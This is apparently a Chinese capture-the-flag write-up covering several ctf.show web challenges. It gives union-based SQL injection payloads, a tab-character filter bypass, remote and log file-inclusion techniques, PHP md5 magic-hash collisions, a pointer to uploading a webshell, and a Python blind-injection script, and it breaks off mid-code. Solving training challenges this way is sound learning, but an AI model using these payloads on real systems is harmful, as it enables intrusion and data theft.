赞
踩
网页原代码中发现这个,base64解码就是flag
这道题目就是最简单的SQL注入了
发现万能密码可以成功。
于是后台查询语句猜测是select ‘column’ from ‘table’ where username=’$_POST[]’&password=’$_POST[]’ limit 1,1
自己猜的熬,不一定是完全正确的。
这样的话直接闭合前面的单引号就行了。
之后就是
123’ or 1=1 union select 1,2,3#
123’ or 1=1 union select 1,database(),3#
123’ or 1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3#
123’ or 1=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘flag’),3#
123’ or 1=1 union select 1,(select group_concat(flag) from web2.flag),3#
这道题目解法挺多的,我估计什么都没有过滤。
比如我们随便从网上,找一张图片。
比如就这一张图片,我们复制链接地址然后作为url的参数
结果出现这种情况,说明它包含进去了,那么我们可以远程文件包含的
第一种方法
说明php://input是可以的
第二种方法
日志包含
第三种方法
data协议
这道题目肯定是有过滤或者禁用函数的
php://filter可以读一下源码,发现不可以
结果还是得日志包含
最后发现在上一层目录有flag.txt
如果实在找不到的话,可以自己写一个一句话木马传上去,利用蚁剑的提权找找。
其实也duck不必,一个find -name fl*就能找到。
顺便看看过滤了什么
原来是伪协议都给过滤了啊
本题目到此为止吧
<?php $flag=""; $v1=$_GET['v1']; $v2=$_GET['v2']; if(isset($v1) && isset($v2)){ if(!ctype_alpha($v1)){ die("v1 error"); } if(!is_numeric($v2)){ die("v2 error"); } if(md5($v1)==md5($v2)){ echo $flag; } }else{ echo "where is flag?"; } ?>
都是很基础的题目了
这道题目需要v1是字符,v2是数字,并且他们md5值相同
这里给出答案,参考一下
md5(‘240610708’) //0e462097431906509019562988736854
md5(‘QNKCDZO’) //0e830400451993494058024219903391
0e 纯数字这种格式的字符串在判断相等的时候会被认为是科学计数法的数字,先做字符串到数字的转换。
md5(‘240610708’)==md5(‘QNKCDZO’); //True
md5(‘240610708’)===md5(‘QNKCDZO’); //False这样的对应数值还有: var_dump(md5(‘240610708’) == md5(‘QNKCDZO’));
var_dump(md5(‘aabg7XSs’) == md5(‘aabC9RqS’));
var_dump(sha1(‘aaroZmOk’) == sha1(‘aaK1STfY’));
var_dump(sha1(‘aaO8zKZF’) == sha1(‘aa3OFF9m’)); var_dump(‘0010e2’ ==
‘1e3’); var_dump(‘0x1234Ab’ == ‘1193131’); var_dump(‘0xABCdef’ == ’
0xABCdef’);
一开始试了试万能密码
发现有过滤了,然后经过初步测试就是过滤空格
可见,把空格替换成换行符是可以的。
然后开始流程,233
admin’%09or%091=1%09union%09select%091,2,3#
admin’%09or%091=1%09union%09select%091,database(),3#
admin’%09or%091=1%09union%09select%091,(select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=‘web2’),3#
admin’%09or%091=1%09union%09select%091,(select%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_name=‘flag’),3#
admin’%09or%091=1%09union%09select%091,(select%09group_concat(flag)%09from%09web2.flag),3#
此题结束
一开始没往SQL注入上去想,本意是以为文件包含,浪费了不少时间。
经过初步测试,是过滤空格,我喜欢用%09来代替
做完之后发现网上的wp大部分是盲注,其实duck不必
人家是可以回显的。
并且我猜测后台查询语句应该会是
select 文章题目 文章内容 from table where id=’$_GET[id]’
然后走流程
1%27%09or%091=1%09union%09select%091,database(),3#
1%27%09or%091=1%09union%09select%091,(select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()),3#
没想到我直接select%09*from%09flag试试直接出来了。
中间有一个问题就是table_schema=database()可以,但是换成’web7’就没有回显了,奇了个怪的。
本题到此为止。
这个题自己做了半天,完全是因为一些奇奇怪怪的问题。
写脚本的时候,用提交参数的方式不行,后来出来用regexp匹配的时候又有了一堆问题,|,^,还有大小写都可以匹配,然后自己又过滤了一遍。最后发现用了ascii()这个函数可以解决乱匹配成功的问题,不知道为什么。
附上我的垃圾脚本
import requests
TableName=''
for i in range(1,50):
for j in range(45,127):
url=f"http://d8feef23-5c02-41b3-9a80-6eb6d64d8a39.challenge.ctf.show:8080/index.php?id=0%09or%09(1=(substr((select%09group_concat(flag)from%09web8.flag)from%09{
i}%09for%091)regexp(chr({
j}))))#"
r=requests.get(url)
if "A Child's Dream of a Star" in r.text:
if(chr(j)=='|'or chr(j)=='^'or chr(j)=='.'or (j>=65 and j<=90)):
continue
TableName+=chr(j)
print(TableName)
一开始试了试没有什么头绪,就去找找wp看,发现有源码泄露。
<?php $flag=""; $password=$_POST['password']; if(strlen($password)>10){ die("password error"); } $sql="select * from user where username ='admin' and password ='".md5($password,true)."'"; $result=mysqli_query($con,$sql); if(mysqli_num_rows($result)>0){ while($row=mysqli_fetch_assoc($result)){ echo
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。